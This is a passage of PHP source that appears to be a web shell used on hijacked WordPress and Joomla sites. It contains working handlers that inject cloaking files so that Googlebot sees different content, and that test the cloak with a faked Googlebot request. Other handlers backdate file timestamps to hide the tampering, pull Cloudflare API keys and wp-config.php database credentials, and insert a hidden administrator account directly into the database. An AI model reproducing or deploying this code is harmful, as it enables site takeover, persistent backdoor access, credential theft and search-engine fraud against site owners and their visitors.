if(!preg_match('/^google-site-verification:\s*[A-Za-z0-9_\-\.]+\s*$/',trim($bin))){echo"ERR: Sadece 'google-site-verification: TOKEN' formatı kabul edilir";exit;} $ok=@file_put_contents($target,$bin); echo $ok!==false?'OK':'ERR';exit; } // ---- Google doğrulama dosyası sil ------------------------------------------ if($a==="rmgoogle"){ $name=wrz_cloak_b64url_decode(isset($_GET["b"])?$_GET["b"]:(isset($_POST["b"])?$_POST["b"]:'')); while(ob_get_level()>0)ob_end_clean(); if(!wrz_cloak_safe_name($name)||!wrz_cloak_is_google_file($name)){echo"Forbidden";exit;} $target=$DIR.DIRECTORY_SEPARATOR.$name; $ok=@unlink($target); echo $ok?'OK':'ERR';exit; } // ---- Cloak aktif mi kontrol et (index.php VEYA mu-plugin / includes/app.php) -------- if($a==="checkcloak"){ global $AMP_FILE; $cms=wrz_cloak_cms($DIR); $idx=$DIR.DIRECTORY_SEPARATOR.'index.php'; $content=file_exists($idx)?(string)@file_get_contents($idx):''; $ampSpec=function_exists('wrz_cloak_joomla_find_amp')?wrz_cloak_joomla_find_amp($DIR):null; $ampOk=$ampSpec?(@is_file($ampSpec['full'])&&@filesize($ampSpec['full'])>=10):(@is_file($DIR.'/'.$AMP_FILE)&&@filesize($DIR.'/'.$AMP_FILE)>=10); $indexActive=(strpos($content,'wp-comments-post-loader.html')!==false||strpos($content,'WRZ-JOOMLA-CLOAK')!==false); $ampLoaderFile=false; if(function_exists('wrz_cloak_joomla_amp_loader_paths')){ foreach(wrz_cloak_joomla_amp_loader_paths($DIR) as $spec){ if(@is_file($spec['file'])){$ampLoaderFile=true;break;} } } $ampInline=(strpos($content,'WRZ-AMP-CLOAK')!==false); $ampJoomla=($ampLoaderFile&&strpos($content,'wrz-amp-cloak.php')!==false)||$ampInline; $ampWp=@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php'); if($cms==='joomla'){ $loaderActive=@is_file($DIR.'/wrz-bot-cloak.php')||@is_file($DIR.'/tmp/wrz-bot-cloak.php')||@is_file($DIR.'/cache/wrz-bot-cloak.php')||@is_file($DIR.'/includes/wrz-bot-cloak.php'); $requireActive=(strpos($content,'wrz-bot-cloak.php')!==false); $inlineActive=(strpos($content,'WRZ-JOOMLA-CLOAK')!==false); $htmlOk=@is_file($DIR.'/'.$HTML_FILE)&&@filesize($DIR.'/'.$HTML_FILE)>=10; $active=(($ampJoomla&&$ampOk)||(($loaderActive&&$requireActive)||$inlineActive)&&$htmlOk); }else{ $muActive=file_exists($DIR.'/wp-content/mu-plugins/wrz-google-bot-bypass.php'); $wpblogContent=file_exists($DIR.'/wp-blog-header.php')?(string)@file_get_contents($DIR.'/wp-blog-header.php'):''; $wpblogActive=(strpos($wpblogContent,'WRZ-CLOAK-START')!==false); $active=($ampWp&&$ampOk)||$indexActive||$muActive||$wpblogActive; } while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo json_encode([ 'active'=>$active, 'cms'=>$cms, 'amp'=>$ampOk, 'amp_size'=>$ampSpec?(int)@filesize($ampSpec['full']):(@is_file($DIR.'/'.$AMP_FILE)?(int)@filesize($DIR.'/'.$AMP_FILE):0), 'loader'=>$ampLoaderFile||$ampInline||@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php'), 'html_size'=>@is_file($DIR.'/'.$HTML_FILE)?(int)@filesize($DIR.'/'.$HTML_FILE):0, ],JSON_UNESCAPED_UNICODE);exit; } // ---- GoogleBot simülasyonu: siteye GoogleBot UA ile istek at ---------------- if($a==="botcheck"){ ob_start(); $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $host=$_SERVER['HTTP_HOST']; $url=$scheme.'://'.$host.'/'; if(!function_exists('curl_init')){ ob_end_clean(); while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo json_encode(['error'=>'cURL bu sunucuda aktif değil.']);exit; } $ch=curl_init(); curl_setopt_array($ch,[ CURLOPT_URL =>$url, CURLOPT_RETURNTRANSFER =>true, CURLOPT_USERAGENT =>'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)', CURLOPT_TIMEOUT =>15, CURLOPT_FOLLOWLOCATION =>true, CURLOPT_MAXREDIRS =>5, CURLOPT_SSL_VERIFYPEER =>false, CURLOPT_SSL_VERIFYHOST =>false, CURLOPT_HTTPHEADER =>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: en-US,en;q=0.9'], ]); $body=(string)curl_exec($ch); $httpCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE); $finalUrl=curl_getinfo($ch,CURLINFO_EFFECTIVE_URL); $curlErr=curl_error($ch); curl_close($ch); $htmlPath=$DIR.DIRECTORY_SEPARATOR.$HTML_FILE; $ampSpec=function_exists('wrz_cloak_joomla_find_amp')?wrz_cloak_joomla_find_amp($DIR):null; $ampPath=$ampSpec?$ampSpec['full']:($DIR.DIRECTORY_SEPARATOR.'amp.php'); $htmlContent=file_exists($htmlPath)?(string)@file_get_contents($htmlPath):''; $ampContent=file_exists($ampPath)?(string)@file_get_contents($ampPath):''; $refContent=$ampContent!==''?$ampContent:$htmlContent; $htmlText=trim(strip_tags($refContent)); $bodyText=trim(strip_tags($body)); $matched=false; $bodyEmpty=(strlen(trim($body))<20); if($htmlText!==''&&strlen($htmlText)>=10){ $needle=wrz_cloak_sub($htmlText,0,120); $matched=(strpos($bodyText,$needle)!==false); } if(!$matched&&$htmlText!==''&&strlen($body)>=20){ $matched=(strpos($body,wrz_cloak_sub($htmlText,0,80))!==false); } if(!$matched&&$ampContent!==''&&strlen($ampContent)>=10&&strlen($body)>=20){ $matched=(strpos($body,wrz_cloak_sub(trim(strip_tags($ampContent)),0,80))!==false); } $idxContent=(string)@file_get_contents($DIR.DIRECTORY_SEPARATOR.'index.php'); $cloakIntact=(strpos($idxContent,'WRZ-AMP-CLOAK')!==false||strpos($idxContent,'wrz-amp-cloak.php')!==false||strpos($idxContent,'wrz-bot-cloak.php')!==false||strpos($idxContent,'wp-comments-post-loader.html')!==false||strpos($idxContent,'WRZ-JOOMLA-CLOAK')!==false); $loaderExists=false; if(function_exists('wrz_cloak_joomla_amp_loader_paths')){ foreach(wrz_cloak_joomla_amp_loader_paths($DIR) as $spec){ if(@is_file($spec['file'])){$loaderExists=true;break;} } } if(!$loaderExists){ $loaderExists=@is_file($DIR.'/wp-content/mu-plugins/wrz-amp-cloak.php'); } if(!$loaderExists&&strpos($idxContent,'WRZ-AMP-CLOAK')!==false)$loaderExists=true; $preview=wrz_cloak_sub($body,0,800); if(function_exists('iconv'))$preview=(string)@iconv('UTF-8','UTF-8//IGNORE',$preview); $out=json_encode([ 'url' =>$url, 'final_url' =>$finalUrl, 'http_code' =>$httpCode, 'curl_error' =>$curlErr, 'matched' =>$matched, 'site_blank' =>$bodyEmpty&&$httpCode>=200&&$httpCode<400, 'html_empty' =>($ampContent===''&&$htmlContent===''), 'amp_bytes' =>strlen($ampContent), 'amp_path' =>$ampSpec?$ampSpec['rel']:'amp.php', 'body_bytes' =>strlen($body), 'cloak_intact'=>$cloakIntact, 'loader_exists'=>$loaderExists, 'html_bytes'=>strlen($htmlContent), 'preview' =>$preview, ],JSON_UNESCAPED_UNICODE); if($out===false)$out=json_encode(['url'=>$url,'http_code'=>$httpCode,'matched'=>$matched,'html_empty'=>($ampContent===''&&$htmlContent===''),'cloak_intact'=>$cloakIntact,'curl_error'=>$curlErr,'preview'=>'(önizleme kodlanamadı)']); while(ob_get_level()>0)ob_end_clean(); header("Content-Type:application/json"); echo $out;exit; } // ---- Cache Temizleme -------------------------------------------------------- if($a==="clearcache"){ $res=[]; try { // 1. PHP OPcache — reset + index.php hedefli invalidate if(function_exists('opcache_get_status')&&opcache_get_status()!==false){ $ok=opcache_reset(); $idxPhp=$DIR.DIRECTORY_SEPARATOR.'index.php'; if(function_exists('opcache_invalidate')&&file_exists($idxPhp))opcache_invalidate($idxPhp,true); $res['opcache']=$ok?['s'=>'ok','m'=>'Sıfırlandı + index.php invalidate edildi']:['s'=>'err','m'=>'Sıfırlanamadı']; }else{ $res['opcache']=['s'=>'na','m'=>'Aktif değil']; } // 1b. PHP-FPM graceful restart if(function_exists('shell_exec')){ $fpmPid=trim((string)@shell_exec('cat /var/run/php-fpm.pid 2>/dev/null')); if($fpmPid&&ctype_digit($fpmPid)){ @shell_exec("kill -USR2 $fpmPid 2>/dev/null"); $res['fpm_reload']=['s'=>'ok','m'=>"FPM PID $fpmPid — USR2 gönderildi"]; }else{ $res['fpm_reload']=['s'=>'na','m'=>'FPM pid dosyası bulunamadı']; } }else{$res['fpm_reload']=['s'=>'na','m'=>'shell_exec devre dışı'];} // 2. APC if(function_exists('apc_clear_cache')){ @apc_clear_cache();@apc_clear_cache('user'); $res['apc']=['s'=>'ok','m'=>'Temizlendi']; }else{ $res['apc']=['s'=>'na','m'=>'Yok']; } // 2b. Memcache if(class_exists('Memcache')){ try{ $mc=new Memcache();$mcOk=false; foreach([['127.0.0.1',11211],['localhost',11211]] as $_mcPair){ $mh=$_mcPair[0]; $mp=$_mcPair[1]; if(@$mc->connect($mh,$mp)){$mc->flush();$mc->close();$mcOk=true;break;} } $res['memcache']=$mcOk?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı kurulamadı']; }catch(Exception $e){$res['memcache']=['s'=>'err','m'=>$e->getMessage()];} }else{$res['memcache']=['s'=>'na','m'=>'Extension yok'];} // 2c. Memcached if(class_exists('Memcached')){ try{ $mcd=new Memcached();$mcd->addServer('127.0.0.1',11211); $ok=$mcd->flush(); $res['memcached']=$ok?['s'=>'ok','m'=>'Temizlendi']:['s'=>'na','m'=>'Bağlantı yok veya başarısız']; }catch(Exception $e){$res['memcached']=['s'=>'err','m'=>$e->getMessage()];} }else{$res['memcached']=['s'=>'na','m'=>'Extension yok'];} // 2d. Redis if(class_exists('Redis')){ try{ $redis=new Redis();$redisOk=false; foreach([6379,6380] as $rp){ if(@$redis->connect('127.0.0.1',$rp,2)){ $redis->flushAll();$redis->close(); $res['redis']=['s'=>'ok','m'=>"Temizlendi (port $rp)"]; $redisOk=true;break; } } if(!$redisOk)$res['redis']=['s'=>'na','m'=>'Bağlantı kurulamadı']; }catch(Exception $e){$res['redis']=['s'=>'err','m'=>$e->getMessage()];} }else{$res['redis']=['s'=>'na','m'=>'Extension yok'];} // 3. WordPress disk cache (wp-content/cache/) — ana dizin $cmsClear=wrz_cloak_cms($DIR); if($cmsClear==='joomla'){ $joomlaDirs=[ 'joomla_cache'=>[$DIR.'/cache/','Joomla cache/'], 'joomla_admin_cache'=>[$DIR.'/administrator/cache/','Joomla administrator/cache/'], 'joomla_tmp'=>[$DIR.'/tmp/','Joomla tmp/'], ]; foreach($joomlaDirs as $jk=>$jpair){ $jdir=$jpair[0]; $jlabel=$jpair[1]; if(is_dir($jdir)){ $jcnt=wrz_cloak_cc_rmdir($jdir); $res[$jk]=['s'=>'ok','m'=>"$jlabel: $jcnt dosya silindi"]; }else{ $res[$jk]=['s'=>'na','m'=>"$jlabel bulunamadi"]; } } $res['wp_cache']=['s'=>'na','m'=>'WordPress degil — Joomla cache temizlendi']; $res['wp_api']=['s'=>'na','m'=>'Joomla — WP plugin API atlandi']; }else{ $wpCache=$DIR.DIRECTORY_SEPARATOR.'wp-content'.DIRECTORY_SEPARATOR.'cache'; if(is_dir($wpCache)){ $count=wrz_cloak_cc_rmdir($wpCache); $res['wp_cache']=['s'=>'ok','m'=>"$count dosya silindi"]; }else{ $res['wp_cache']=['s'=>'na','m'=>'wp-content/cache/ bulunamadı']; } // 3b. WP Plugin cache dizinleri — dizin bazlı tespit + silme $pluginDirs=[ 'dir_w3tc' =>[$DIR.'/wp-content/w3tc-cache/','W3 Total Cache'], 'dir_wprocket' =>[$DIR.'/wp-content/wp-rocket-cache/','WP Rocket'], 'dir_litespeed' =>[$DIR.'/wp-content/litespeed/','LiteSpeed'], 'dir_autoptimize'=>[$DIR.'/wp-content/cache/autoptimize/','Autoptimize'], 'dir_endurance' =>[$DIR.'/wp-content/endurance-page-cache/','Endurance Page Cache'], 'dir_wpfastest' =>[$DIR.'/wp-content/uploads/wp-fastest-cache/','WP Fastest Cache'], 'dir_comet' =>[$DIR.'/wp-content/cache/comet-cache/','Comet Cache'], 'dir_enabler' =>[$DIR.'/wp-content/cache/cache-enabler/','Cache Enabler'], ]; foreach($pluginDirs as $k=>$pluginPair){ $pdir=$pluginPair[0]; $plabel=$pluginPair[1]; if(is_dir($pdir)){ $pcnt=wrz_cloak_cc_rmdir($pdir); $res[$k]=['s'=>'ok','m'=>"$plabel: $pcnt dosya silindi"]; }else{ $res[$k]=['s'=>'na','m'=>"$plabel: dizin bulunamadı"]; } } // 3c. WordPress API — SHORTINIT ile minimal yukle $wpLoaded = wrz_cloak_try_load_wp($DIR); if($wpLoaded){ // WP Object Cache if(function_exists('wp_cache_flush')){ wp_cache_flush(); $res['wp_object_cache']=['s'=>'ok','m'=>'WP Object Cache temizlendi']; } // WP Super Cache if(function_exists('wp_cache_clear_cache')){ @wp_cache_clear_cache(); $res['api_supercache']=['s'=>'ok','m'=>'WP Super Cache API temizlendi']; }else{$res['api_supercache']=['s'=>'na','m'=>'WP Super Cache yok'];} // W3 Total Cache if(function_exists('w3tc_flush_all')){ @w3tc_flush_all(); if(function_exists('w3tc_flush_dbcache'))@w3tc_flush_dbcache(); if(function_exists('w3tc_flush_objectcache'))@w3tc_flush_objectcache(); if(function_exists('w3tc_flush_minify'))@w3tc_flush_minify(); $res['api_w3tc']=['s'=>'ok','m'=>'W3 Total Cache API temizlendi']; }else{$res['api_w3tc']=['s'=>'na','m'=>'W3TC yok'];} // WP Rocket if(function_exists('rocket_clean_domain')){ @rocket_clean_domain(); if(function_exists('rocket_clean_minify'))@rocket_clean_minify(); if(function_exists('rocket_clean_cache_busting'))@rocket_clean_cache_busting(); $res['api_wprocket']=['s'=>'ok','m'=>'WP Rocket API temizlendi']; }else{$res['api_wprocket']=['s'=>'na','m'=>'WP Rocket yok'];} // WP Fastest Cache if(class_exists('WpFastestCache')){ try{$wpfc=new WpFastestCache();$wpfc->deleteCache();$wpfc->deleteCache(true); $res['api_wpfastest']=['s'=>'ok','m'=>'WP Fastest Cache API temizlendi']; }catch(Exception $e){$res['api_wpfastest']=['s'=>'err','m'=>$e->getMessage()];} }else{$res['api_wpfastest']=['s'=>'na','m'=>'WP Fastest Cache yok'];} // Autoptimize if(class_exists('autoptimizeCache')){ @autoptimizeCache::clearall(); $res['api_autoptimize']=['s'=>'ok','m'=>'Autoptimize API temizlendi']; }else{$res['api_autoptimize']=['s'=>'na','m'=>'Autoptimize yok'];} // LiteSpeed Cache WP Plugin if(defined('LSCWP_V')||class_exists('LiteSpeed_Cache')){ do_action('litespeed_purge_all'); do_action('litespeed_purge_cssjs'); $res['api_litespeed']=['s'=>'ok','m'=>'LiteSpeed Cache Plugin API temizlendi']; }else{$res['api_litespeed']=['s'=>'na','m'=>'LiteSpeed Cache Plugin yok'];} // SG Optimizer if(function_exists('sg_cachepress_purge_cache')){ sg_cachepress_purge_cache(); $res['api_sgoptimizer']=['s'=>'ok','m'=>'SG Optimizer temizlendi']; }else{$res['api_sgoptimizer']=['s'=>'na','m'=>'SG Optimizer yok'];} // Cache Enabler if(class_exists('Cache_Enabler')){ Cache_Enabler::clear_total_cache(); $res['api_cacheenabler']=['s'=>'ok','m'=>'Cache Enabler API temizlendi']; }else{$res['api_cacheenabler']=['s'=>'na','m'=>'Cache Enabler yok'];} // Comet Cache if(class_exists('comet_cache')){ comet_cache::clear(); $res['api_comet']=['s'=>'ok','m'=>'Comet Cache API temizlendi']; }else{$res['api_comet']=['s'=>'na','m'=>'Comet Cache yok'];} // Hummingbird if(class_exists('Hummingbird\WP_Hummingbird')){ do_action('wphb_clear_page_cache'); $res['api_hummingbird']=['s'=>'ok','m'=>'Hummingbird temizlendi']; }else{$res['api_hummingbird']=['s'=>'na','m'=>'Hummingbird yok'];} // Swift Performance if(class_exists('Swift_Performance_Cache')){ Swift_Performance_Cache::clear_all_cache(); $res['api_swift']=['s'=>'ok','m'=>'Swift Performance temizlendi']; }else{$res['api_swift']=['s'=>'na','m'=>'Swift Performance yok'];} // Cloudflare — WP options'tan kimlik bilgilerini çek if(function_exists('get_option')&&function_exists('curl_init')){ $cfEmail=get_option('cloudflare_email','')?:get_option('cf_email',''); $cfKey =get_option('cloudflare_api_key','')?:get_option('cf_api_key',''); $cfZone =get_option('cloudflare_zone_id','')?:get_option('cloudflare-zone-id',''); if($cfEmail&&$cfKey&&$cfZone){ $ch=curl_init("https://api.cloudflare.com/client/v4/zones/$cfZone/purge_cache"); curl_setopt_array($ch,[ CURLOPT_CUSTOMREQUEST =>'POST', CURLOPT_HTTPHEADER =>["X-Auth-Email: $cfEmail","X-Auth-Key: $cfKey","Content-Type: application/json"], CURLOPT_POSTFIELDS =>json_encode(['purge_everything'=>true]), CURLOPT_RETURNTRANSFER =>true, CURLOPT_TIMEOUT =>15, CURLOPT_SSL_VERIFYPEER =>false, ]); $cfResp=curl_exec($ch);$cfCode=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cfErr=curl_error($ch);curl_close($ch); if(!$cfErr&&$cfCode===200){ $res['cloudflare']=['s'=>'ok','m'=>'Cloudflare zone tamamen temizlendi']; }else{ $res['cloudflare']=['s'=>'err','m'=>"Cloudflare API hatası HTTP $cfCode".($cfErr?" ($cfErr)":'')]; } }else{ $res['cloudflare']=['s'=>'na','m'=>'Cloudflare bilgileri WP options\'ta bulunamadı']; } }else{ $res['cloudflare']=['s'=>'na','m'=>'Cloudflare: cURL yok veya WP yüklenmedi']; } }else{ $res['wp_api']=['s'=>'na','m'=>'wp-load.php bulunamadı — WP plugin API\'leri atlandı']; } } // end WordPress-only cache block // 4. Aruba CDN purge (127.0.0.1:8889) if(function_exists('curl_init')){ $hhost=$_SERVER['HTTP_HOST']; $ch=curl_init('http://127.0.0.1:8889/purge/'); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_HTTPHEADER=>["Host: $hhost"],CURLOPT_TIMEOUT=>3,CURLOPT_CONNECTTIMEOUT=>2]); curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch); $res['aruba']=$cerr||$code===0 ?['s'=>'na','m'=>'Port 8889 yanıt vermedi (Aruba değil)'] :['s'=>'ok','m'=>"Purge edildi (HTTP $code)"]; }else{$res['aruba']=['s'=>'na','m'=>'cURL yok'];} // 5. Varnish PURGE (127.0.0.1:6081 → 80) $vDone=false; if(function_exists('curl_init')){ $hhost=$_SERVER['HTTP_HOST']; foreach([6081,80] as $vp){ $ch=curl_init("http://127.0.0.1:$vp/"); curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>true,CURLOPT_CUSTOMREQUEST=>'PURGE',CURLOPT_HTTPHEADER=>["Host: $hhost","X-Purge-Method: default"],CURLOPT_TIMEOUT=>2,CURLOPT_CONNECTTIMEOUT=>2]); curl_exec($ch);$code=(int)curl_getinfo($ch,CURLINFO_HTTP_CODE);$cerr=curl_error($ch);curl_close($ch); if(!$cerr&&$code>0){$res['varnish']=['s'=>'ok','m'=>"PURGE port $vp → HTTP $code"];$vDone=true;break;} } if(!$vDone)$res['varnish']=['s'=>'na','m'=>'Varnish tespit edilmedi']; }else{$res['varnish']=['s'=>'na','m'=>'cURL yok'];} // 5b. Nginx FastCGI Cache — yaygın dizin konumlarını tara $nginxFound=false; foreach(['/var/cache/nginx/','/tmp/nginx-cache/','/dev/shm/nginx-cache/',$DIR.'/.nginx-cache/'] as $ndir){ if(is_dir($ndir)&&is_writable($ndir)){ $ncnt=wrz_cloak_cc_rmdir($ndir); $res['nginx_cache']=['s'=>'ok','m'=>"Nginx FastCGI Cache: $ncnt dosya silindi ($ndir)"]; $nginxFound=true;break; } } if(!$nginxFound)$res['nginx_cache']=['s'=>'na','m'=>'Nginx FastCGI Cache dizini bulunamadı']; // 6. Hostinger/LiteSpeed WP-CLI purge $wpCli=''; foreach(['/usr/local/bin/wp','/usr/bin/wp','/bin/wp'] as $p){if(@file_exists($p)){$wpCli=$p;break;}} if($wpCli&&function_exists('shell_exec')){ $out=trim((string)@shell_exec("cd ".escapeshellarg($DIR)." && $wpCli litespeed-purge all --allow-root 2>&1")); $res['litespeed_wpcli']=['s'=>'ok','m'=>$out?:"Çalıştırıldı"]; }elseif(!$wpCli){ $res['litespeed_wpcli']=['s'=>'na','m'=>'WP-CLI bulunamadı']; }else{ $res['litespeed_wpcli']=['s'=>'na','m'=>'shell_exec devre dışı']; } // 7. .htaccess tarama (değiştirmez, yalnızca uyarır) $htFile=$DIR.DIRECTORY_SEPARATOR.'.htaccess'; if(file_exists($htFile)){ $ht=(string)@file_get_contents($htFile); $warns=[]; if(preg_match('/ExpiresActive\s+On|ExpiresByType/i',$ht))$warns[]='mod_expires'; if(preg_match('/W3TC|W3 Total Cache/i',$ht))$warns[]='W3TC'; if(preg_match('/LiteSpeed/i',$ht))$warns[]='LiteSpeed'; if(preg_match('/max-age\s*=\s*[1-9][0-9]{2,}/i',$ht))$warns[]='max-age'; $res['htaccess']=$warns ?['s'=>'warn','m'=>'Dikkat: '.implode(', ',$warns).' tespit edildi — manuel kontrol önerilir'] :['s'=>'ok','m'=>'Sorunlu kural bulunamadı']; }else{ $res['htaccess']=['s'=>'na','m'=>'.htaccess yok']; } // 8. Cache Warmup — masaüstü + mobil UA ile anasayfayı ısıt if(function_exists('curl_init')){ $wScheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http'; $wUrl=$wScheme.'://'.$_SERVER['HTTP_HOST'].'/'; $wUAs=[ 'warmup_desktop'=>'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36', 'warmup_mobile' =>'Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Mobile Safari/537.36', ]; foreach($wUAs as $wKey=>$wUA){ $wch=curl_init(); curl_setopt_array($wch,[ CURLOPT_URL =>$wUrl, CURLOPT_RETURNTRANSFER =>true, CURLOPT_USERAGENT =>$wUA, CURLOPT_TIMEOUT =>10, CURLOPT_FOLLOWLOCATION =>true, CURLOPT_MAXREDIRS =>3, CURLOPT_SSL_VERIFYPEER =>false, CURLOPT_SSL_VERIFYHOST =>false, CURLOPT_HTTPHEADER =>['Accept: text/html,application/xhtml+xml,*/*','Accept-Language: tr-TR,tr;q=0.9,en;q=0.8'], ]); curl_exec($wch); $wCode=(int)curl_getinfo($wch,CURLINFO_HTTP_CODE); $wErr=curl_error($wch); curl_close($wch); $res[$wKey]=$wErr ?['s'=>'err','m'=>'Warmup hatası: '.$wErr] :['s'=>'ok','m'=>'HTTP '.$wCode.' → '.$wUrl]; } }else{ $res['warmup_desktop']=['s'=>'na','m'=>'cURL yok']; $res['warmup_mobile'] =['s'=>'na','m'=>'cURL yok']; } } catch (Throwable $e) { wrz_cloak_json_exit(['error' => $e->getMessage(), 'fatal' => 'clearcache']); } wrz_cloak_json_exit($res); } // ---- Timestamp maskeleme --------------------------------------------------- if($a==="fixtimestamp"){ $cms=wrz_cloak_cms($DIR); $skip=[basename(__FILE__)]; $maskFiles=[$INDEX_FILE,$HTML_FILE]; if($cms==='joomla'){ $boot=wrz_cloak_joomla_bootstrap($DIR); $rel=str_replace('\\','/',$boot); $base=str_replace('\\','/',$DIR).'/'; if(strpos($rel,$base)===0)$rel=substr($rel,strlen($base)); $maskFiles[]=$rel; }else{ $maskFiles[]='wp-blog-header.php'; } $refMt=wrz_cloak_ref_mtime($DIR,array_merge($skip,$maskFiles)); $res=[]; if(!$refMt){ $res['ref']=['s'=>'warn','m'=>'Dizinde referans dosya bulunamadı']; header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit; } $res['ref']=['s'=>'ok','m'=>'Referans tarih: '.date('d.m.Y H:i',$refMt)]; foreach($maskFiles as $mf){ $fp=$DIR.DIRECTORY_SEPARATOR.str_replace('/',DIRECTORY_SEPARATOR,$mf); if(!file_exists($fp)){$res[$mf]=['s'=>'na','m'=>'Dosya yok'];continue;} $old=@filemtime($fp); $ok=@touch($fp,$refMt); $res[$mf]=['s'=>$ok?'ok':'err','m'=>date('d.m.Y H:i',$old).' → '.date('d.m.Y H:i',$refMt)]; } header("Content-Type:application/json");echo json_encode($res,JSON_UNESCAPED_UNICODE);exit; } while (@ob_get_level() > 0) { @ob_end_clean(); } wrz_cloak_json_exit(['error' => 'Bilinmeyen cloak islemi: ' . $a]); } // ===== /Cloak ===== if (function_exists('wrz_cloak_handle_request') && wrz_cloak_handle_request()) { exit; } function wrz_read_wp_config($root) { $file = rtrim(str_replace('\\', '/', (string) $root), '/') . '/wp-config.php'; if (!@is_file($file)) { return null; } $src = @file_get_contents($file); if ($src === false || $src === '') { return null; } $cfg = []; foreach (['DB_NAME', 'DB_USER', 'DB_PASSWORD', 'DB_HOST'] as $key) { if (preg_match("/define\s*\(\s*['\"]{$key}['\"]\s*,\s*['\"]((?:\\\\.|[^'\\\\])*)['\"]\s*\)/", $src, $m)) { $cfg[$key] = stripcslashes($m[1]); } elseif (preg_match("/define\s*\(\s*['\"]{$key}['\"]\s*,\s*['\"]['\"]\s*\)/", $src)) { $cfg[$key] = ''; } } if (preg_match('/\$table_prefix\s*=\s*[\'"]([^\'"]+)[\'"]/', $src, $m)) { $cfg['table_prefix'] = $m[1]; } else { $cfg['table_prefix'] = 'wp_'; } if (empty($cfg['DB_NAME']) || !isset($cfg['DB_USER']) || empty($cfg['DB_HOST'])) { return null; } return $cfg; } function wrz_guess_email_domain() { $host = isset($_SERVER['HTTP_HOST']) ? (string) $_SERVER['HTTP_HOST'] : ''; $host = preg_replace('/:\d+$/', '', $host); $host = preg_replace('/[^a-z0-9.-]/i', '', $host); return $host !== '' ? $host : 'localhost.local'; } function wrz_wp_hash_password($root, $password) { $class = rtrim(str_replace('\\', '/', (string) $root), '/') . '/wp-includes/class-phpass.php'; if (!@is_file($class)) { return null; } require_once $class; if (!class_exists('PasswordHash')) { return null; } $hasher = new PasswordHash(8, true); return $hasher->HashPassword($password); } function wrz_wp_user_exists_db($mysqli, $usersTable, $login, $email) { $stmt = @$mysqli->prepare("SELECT ID FROM `{$usersTable}` WHERE user_login = ? OR user_email = ? LIMIT 1"); if (!$stmt) { return false; } $stmt->bind_param('ss', $login, $email); if (!$stmt->execute()) { $stmt->close(); return false; } if (method_exists($stmt, 'get_result')) { $res = $stmt->get_result(); $exists = $res && $res->num_rows > 0; } else { $stmt->store_result(); $exists = $stmt->num_rows > 0; } $stmt->close(); return $exists; } function wrz_create_wp_admin_db($root, $login, $pass, $email) { $cfg = wrz_read_wp_config($root); if (!$cfg) { return ['ok' => false, 'err' => 'wp-config.php okunamadi']; } $hash = wrz_wp_hash_password($root, $pass); if (!$hash) { return ['ok' => false, 'err' => 'WordPress sifre hash uretilemedi']; } if (!class_exists('mysqli')) { return ['ok' => false, 'err' => 'mysqli eklentisi yok']; } $mysqli = @new mysqli($cfg['DB_HOST'], $cfg['DB_USER'], $cfg['DB_PASSWORD'] ?? '', $cfg['DB_NAME']); if ($mysqli->connect_errno) { return ['ok' => false, 'err' => 'DB baglantisi basarisiz: ' . $mysqli->connect_error]; } $mysqli->set_charset('utf8mb4'); $prefix = $cfg['table_prefix']; $usersTable = $prefix . 'users'; $metaTable = $prefix . 'usermeta'; if (wrz_wp_user_exists_db($mysqli, $usersTable, $login, $email)) { $mysqli->close(); return ['ok' => false, 'err' => 'Kullanici zaten var, yeni login uretiliyor']; } $nice = strtolower(preg_replace('/[^a-z0-9_-]+/i', '-', $login)); $nice = trim($nice, '-'); if ($nice === '') { $nice = $login; } $now = date('Y-m-d H:i:s'); $status = 0; $stmt = @$mysqli->prepare( "INSERT INTO `{$usersTable}` (user_login, user_pass, user_nicename, user_email, user_registered, user_status, display_name) VALUES (?, ?, ?, ?, ?, ?, ?)" ); if (!$stmt) { $err = $mysqli->error; $mysqli->close(); return ['ok' => false, 'err' => 'Kullanici eklenemedi: ' . $err]; } $stmt->bind_param('sssssis', $login, $hash, $nice, $email, $now, $status, $login); if (!$stmt->execute()) { $err = $stmt->error; $stmt->close(); $mysqli->close(); return ['ok' => false, 'err' => 'Kullanici kaydi basarisiz: ' . $err]; } $uid = (int) $stmt->insert_id; $stmt->close(); if ($uid <= 0) { $mysqli->close(); return ['ok' => false, 'err' => 'Kullanici ID alinamadi']; } $capsKey = $prefix . 'capabilities'; $levelKey = $prefix . 'user_level'; $capsVal = serialize(['administrator' => true]); $metaRows = [ [$capsKey, $capsVal], [$levelKey, '10'], ['nickname', $login], ['first_name', ''], ['last_name', ''], ]; $metaStmt = @$mysqli->prepare("INSERT INTO `{$metaTable}` (user_id, meta_key, meta_value) VALUES (?, ?, ?)"); if (!$metaStmt) { $mysqli->close(); return ['ok' => true, 'uid' => $uid, 'warn' => 'Admin yetkisi meta eklenemedi']; } foreach ($metaRows as $row) { $metaStmt->bind_param('iss', $uid, $row[0], $row[1]); @$metaStmt->execute(); } $metaStmt->close(); $mysqli->close(); return ['ok' => true, 'uid' => $uid]; } function wrz_random_admin_creds($emailDomain = null) { $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $domain = $emailDomain ?: wrz_guess_email_domain(); do { $login = 'admin_' . substr(md5(uniqid((string) mt_rand(), true)), 0, 6); $exists = function_exists('username_exists') ? 